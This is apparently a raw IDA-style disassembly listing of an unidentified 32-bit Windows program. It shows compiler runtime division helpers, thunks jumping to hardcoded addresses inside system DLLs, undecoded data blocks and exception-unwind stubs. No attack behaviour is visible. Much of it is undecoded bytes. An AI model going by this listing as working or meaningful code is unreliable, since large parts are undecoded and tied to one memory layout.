		jmp	near ptr 77C4FA10h
sub_437BDA	endp

; ---------------------------------------------------------------------------
		db 0Ch

; =============== S U B	R O U T	I N E =======================================



sub_437BE0	proc near		; CODE XREF: sub_41B920+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_437C01
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_437C51
; ---------------------------------------------------------------------------


loc_437C01:				; CODE XREF: sub_437BE0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_437C0F:				; CODE XREF: sub_437BE0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C0F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_437C3A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_437C3A
		jb	short loc_437C42
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_437C42


loc_437C3A:				; CODE XREF: sub_437BE0+4Aj
					; sub_437BE0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_437C42:				; CODE XREF: sub_437BE0+52j
					; sub_437BE0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_437C51:				; CODE XREF: ___:00437BD8j
					; sub_437BE0+1Fj
		pop	ebx
		retn	10h
sub_437BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_437C60	proc near		; CODE XREF: sub_41B920+30p
					; sub_41B920+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_437C82
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_437CC3
; ---------------------------------------------------------------------------


loc_437C82:				; CODE XREF: sub_437C60+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_437C90:				; CODE XREF: sub_437C60+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C90
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_437CBE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_437CBE
		jb	short loc_437CBF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_437CBF


loc_437CBE:				; CODE XREF: sub_437C60+4Ej
					; sub_437C60+54j
		dec	esi


loc_437CBF:				; CODE XREF: sub_437C60+56j
					; sub_437C60+5Cj
		xor	edx, edx
		mov	eax, esi


loc_437CC3:				; CODE XREF: sub_437C60+20j
		pop	esi
		pop	ebx
		retn	10h
sub_437C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0E3h, 8Dh
		dd 0E9907780h, 7780733Ch, 810188E9h, 0E990AE77h, 77809196h
		dd 809516E9h, 0E9902D77h, 77809888h, 96AAE990h,	0E9907780h
		dd 77809A43h, 0FEE2E990h, 0E9907780h, 77809E6Eh, 71ECE990h
		dd 0E9907780h, 77809103h, 43ADE990h, 46E9777Fh,	25777E48h
		dd 0F0D0E990h, 0E990777Fh, 777FF4D2h, 758EE990h, 0FEE9777Eh
		dd 9277807Bh, 9B30E990h, 0E9907780h, 7780269Bh,	25C1E990h
		dd 0E9907780h, 778113C7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437D4C	proc near		; CODE XREF: ___:0043297Cp
		nop
		jmp	near ptr 77C3619Ch
sub_437D4C	endp

; ---------------------------------------------------------------------------
		dw 1DE9h
		dd 39777FF0h, 808E54E9h, 83513277h, 8616FCFBh, 64A044C4h
		dd 64D430C0h, 0B401F2C4h, 6D652C10h, 0D489FFBFh, 684618Fh
		dd 5653DE64h, 0E8658957h, 5D89DB33h, 90026AFCh,	7FD5EBE8h
		dd 0D835977h, 5109C4h, 0D40D83FFh, 0FF005109h, 7435E890h
		dd 0D8B777Eh, 5108C4h, 0E8900889h, 777E73F0h, 8C00D8Bh
		dd 8890051h, 511A28A1h,	0A3008B00h, 5109B8h, 12EE8h, 0C01D3900h
		dd 7500448Ch, 7EF8680Ch, 0E8900043h, 77815895h,	0FAE859h
		dd 18680000h, 68004444h, 444314h, 0E5E8h, 8BCA100h, 45890051h
		dd 94458D94h, 0B835FF50h, 8D005108h, 8D509C45h,	8D509045h
		dd 9050A045h, 7E70D2E8h, 42106877h, 680044h, 0E8004440h
		dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
		dd 22D8198h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 75E85353h, 90024481h
		dd 0A050E850h, 4589FFFCh, 0E8905098h, 77801FE2h, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0E8908875h, 77801FDEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437EBC	proc near		; CODE XREF: ___:00437B04p
		jmp	near ptr 77C21868h
sub_437EBC	endp

; ---------------------------------------------------------------------------
		db 0A6h, 90h, 0E9h
dword_437EC4	dd 777FCF89h, 1FCCE990h, 0E9907780h, 777FAEDAh,	7011E990h
		dd 0E990777Eh, 77801E87h, 3000068h, 6800h, 25E80001h, 59000000h
		dd 0E990C359h, 7781577Dh, 0C3C3C033h, 72A2E990h, 0E990777Eh
		dd 777E72D3h, 0D46EE990h, 81E9777Fh, 0B8777FDDh, 6F15E990h
		dd 0E9907781h, 75C6844Bh, 8529E990h, 3E975C6h, 4E75C5A1h
		dd 7553E990h, 0F9E975C5h, 1175C684h, 0C4A02AE9h, 9E99575h
		dd 2075C539h, 0F765E990h, 0E99075C5h, 75C4DB94h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437F50	proc near		; CODE XREF: sub_4193C0+17Ep
		jmp	near ptr 76D6AC1Dh
sub_437F50	endp

; ---------------------------------------------------------------------------
		db 5Ah,	90h, 0E9h
		dd 23A8CA8h, 3A8CF5E9h,	0E9906C02h, 23B8098h, 83F9E990h
		dd 0E990023Bh, 23C808Ch, 90A7E990h, 81E9023Ch, 0C5023D80h
		dd 807AE990h, 0A1E9023Eh, 71023E96h, 3E991FE9h,	0E990C202h
		dd 23E9C5Eh, 8062E990h,	92E9023Fh, 2F023F81h, 895CE990h
		dd 0A9E9023Fh, 88023F8Ch, 804AE990h, 0E9900240h, 2408B4Fh
		dd 803EE990h, 0E9900241h, 24182B6h, 8032E990h, 2DE90242h
		dd 6F024380h, 9383E990h, 0E9900243h, 2448020h, 4481A5E9h
		dd 0C4E9E802h, 88024487h, 8C4FE990h, 9E90244h, 0D9024580h
		dd 8414E990h, 0E9900245h, 23A88B8h, 3A7FF7E9h, 0F1E9B302h
		dd 7602397Fh, 8924E990h, 0E5E90238h, 8802387Fh,	377FDFE9h
		dd 0E990F002h, 236872Ch, 83A9E990h, 0CDE90236h,	0AE02367Fh
		dd 8445E990h, 0E9900235h, 2358371h, 2C7FBBE9h, 0E990DE02h
		dd 235831Fh, 82D9E990h,	0E9900235h, 7C4C9095h, 8FA7E990h
		dd 0E9907C4Ch, 235812Bh, 7F96E990h, 0E9900235h,	23487C5h
		dd 7F8AE990h, 0E9900234h, 233879Eh, 86DDE990h, 0E9900233h
		dd 2338517h, 8393E990h,	0E9900233h, 23381CAh, 7F66E990h
		dd 0E9900233h, 2328BEEh, 328A32E9h, 0B3E97602h,	0E8023288h
		dd 85D4E990h, 0E9900232h, 232851Bh, 7F42E990h, 0E9900232h
		dd 2318917h, 8410E990h,	0E9900231h, 23182A7h, 317F2BE9h
		dd 0E9906F02h, 2308B7Ah, 30880DE9h, 0E9906702h,	23084E6h
		dd 8498E990h, 0E9900230h, 2307F0Ch, 8CA3E990h, 0E990022Fh
		dd 22F89B3h, 2F85D8E9h,	0E990B302h, 22F7EF4h, 8C99E990h
		dd 0E990022Eh, 22E8B1Bh, 8780E990h, 0E990022Eh,	22E85B7h
		dd 7ED6E990h, 0E990022Eh, 22D7ED0h, 0F39BE990h,	0E990001Bh
		dd 2458B89h, 909CE990h,	0E9900250h, 24C7EB8h, 507EB3E9h
		dd 0ADE91B02h, 71024F7Eh, 8AD2E990h, 0A1E9024Eh, 20024E7Eh
		dd 817FE990h, 0E990024Dh, 24D7E94h, 8B0DE990h, 0DE9024Ch
		dd 0ED024C87h, 856CE990h, 0E990024Ch, 24C8365h,	7E76E990h
		dd 0E9900246h, 24B8A80h, 86A3E990h, 0E990024Bh,	24B8226h
		dd 4B7E5FE9h, 59E90702h, 0D4024A7Eh, 7E52E990h,	0E9900249h
		dd 2489B49h, 9827E990h,	0EEE90248h, 4B024894h, 489360E9h
		dd 35E9EB02h, 9C02487Eh, 7E2EE990h, 39E90247h, 0B87C608Fh
		dd 0BD63E990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381DE	proc near		; CODE XREF: ___:0042DBE1p
		nop
		jmp	near ptr 71AB4FD4h
sub_4381DE	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 8Fh, 62h
		db 68h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381EA	proc near		; CODE XREF: sub_42DBD1+1p
		nop
		jmp	near ptr 71AB2BF4h
sub_4381EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381F0	proc near		; CODE XREF: sub_42DF40+E5p
					; sub_42EF60+4Fp
		jmp	near ptr 71AB615Ah
sub_4381F0	endp

; ---------------------------------------------------------------------------
		db 0A9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381F6	proc near		; CODE XREF: sub_42E490+9Ap
					; sub_42F040+45p ...
		jmp	near ptr 71AB428Ah
sub_4381F6	endp

; ---------------------------------------------------------------------------
		db 7Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381FC	proc near		; CODE XREF: sub_42F2C0+53p
					; sub_42F2C0+96p ...
		jmp	near ptr 71AB9639h
sub_4381FC	endp

; ---------------------------------------------------------------------------
		db 2Ah

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438202	proc near
		nop
		jmp	near ptr 71AC1028h
sub_438202	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438208	proc near		; CODE XREF: sub_42E170+71p
					; sub_42ED50+50p
		nop
		jmp	near ptr 71AB2DC0h
sub_438208	endp

; ---------------------------------------------------------------------------
		dw 0ADE9h
		dd 0DC7167A9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438214	proc near
		nop
		jmp	near ptr 71AB88D3h
sub_438214	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167A946h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438220	proc near		; CODE XREF: sub_42E870+187p
		nop
		jmp	near ptr 71AB951Eh
sub_438220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438226	proc near
		nop
		jmp	near ptr 71AB3E00h
sub_438226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43822C	proc near		; CODE XREF: sub_42DB00+B1p
		nop
		jmp	near ptr 71AB2B66h
sub_43822C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438232	proc near		; CODE XREF: ___:0042DC2Fp
					; sub_42E870+152p
		jmp	near ptr 71AB3B91h
sub_438232	endp

; ---------------------------------------------------------------------------
		push	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438238	proc near
		jmp	near ptr 71AB406Ah
sub_438238	endp

; ---------------------------------------------------------------------------
		rcl	byte ptr [eax+67C1E4E9h], 71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438244	proc near		; CODE XREF: sub_42DA80+10p
		nop
		jmp	near ptr 71AB664Dh
sub_438244	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167CE78h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438250	proc near		; CODE XREF: sub_434BA0+Bp
		nop
		jmp	near ptr 71AB94DCh
sub_438250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438256	proc near		; CODE XREF: sub_41A7D0+92p
					; sub_41A9C0+CAp ...
		nop
		jmp	near ptr 71AB4544h
sub_438256	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0EEh, 88h
; ---------------------------------------------------------------------------
		push	0B1E99071h
		retn	7167h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 52h, 0A9h
		dd 0E9907167h, 7167AA9Bh, 0A9EFE990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43827A	proc near
		jmp	near ptr 71AB3EA1h
sub_43827A	endp

; ---------------------------------------------------------------------------
		db 76h
		dd 6804E4E9h, 0FEE91371h, 4E7167C1h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43828C	proc near		; CODE XREF: sub_42DB00+53p
					; sub_42DB00+C3p
		nop
		jmp	near ptr 71ABE6EBh
sub_43828C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438292	proc near		; CODE XREF: sub_42F2C0+4Ap
		nop
		jmp	near ptr 71AC0BDEh
sub_438292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438298	proc near
		jmp	near ptr 71AB2A5Eh
sub_438298	endp

; ---------------------------------------------------------------------------
		pop	edx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43829E	proc near		; CODE XREF: ___:0041C2B7p
					; ___:0041C2CCp
		nop
		jmp	near ptr 71B2578Ch
sub_43829E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382A4	proc near		; CODE XREF: ___:0041C40Dp
					; ___:0041C42Fp
		nop
		jmp	near ptr 71B25099h
sub_4382A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382AA	proc near		; CODE XREF: ___:00426390p
		nop
		jmp	near ptr 71B2517Fh
sub_4382AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B0	proc near		; CODE XREF: sub_420090+B4p
		nop
		jmp	near ptr 76BF215Ah
sub_4382B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4382B6	proc near		; CODE XREF: sub_420090+9Bp
		jmp	near ptr 76BF1F1Ch
sub_4382B6	endp

; ---------------------------------------------------------------------------
		db 8Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4382BC	proc near		; CODE XREF: sub_420090+21p
		jmp	near ptr 76BF3A9Ah
sub_4382BC	endp

; ---------------------------------------------------------------------------
		push	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382C2	proc near		; CODE XREF: ___:0041B2B4p
		nop
		jmp	near ptr 76F36C5Bh
sub_4382C2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 80h, 0DFh
dword_4382CC	dd 0E9907780h, 7780DE51h, 0DE96E990h, 41E97780h, 0A17780E0h
		dd 2C4h	dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh,	8DFFFC84h
		dd 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC8415E9h
		dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh, 0E083FFFFh
		dd 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403530	proc near		; DATA XREF: sub_403530+2o
		mov	eax, offset dword_43F470
		jmp	sub_437AB8
SEH_403530	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_438E6B:				; DATA XREF: ___:0043F4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403720	proc near		; DATA XREF: sub_403720+2o
		mov	eax, offset dword_43F4C0
		jmp	sub_437AB8
SEH_403720	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C50	proc near		; DATA XREF: sub_403C50+2o
		mov	eax, offset dword_43F700
		jmp	sub_437AB8
SEH_403C50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392B8:				; DATA XREF: ___:0043F75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403CE0	proc near		; DATA XREF: sub_403CE0+2o
		mov	eax, offset dword_43F730
		jmp	sub_437AB8
SEH_403CE0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392E8:				; DATA XREF: ___:0043F794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D60	proc near		; DATA XREF: sub_403D60+2o
		mov	eax, offset dword_43F768
		jmp	sub_437AB8
SEH_403D60	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403DE0	proc near		; DATA XREF: sub_403DE0+2o
		mov	eax, offset dword_43F7A0
		jmp	sub_437AB8
SEH_403DE0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_439338:				; DATA XREF: ___:0043F7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403E50	proc near		; DATA XREF: sub_403E50+2o
		mov	eax, offset dword_43F7D0
		jmp	sub_437AB8
SEH_403E50	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_4393B8:				; DATA XREF: ___:0043F85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403F30	proc near		; DATA XREF: sub_403F30+2o
		mov	eax, offset dword_43F830
		jmp	sub_437AB8
SEH_403F30	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
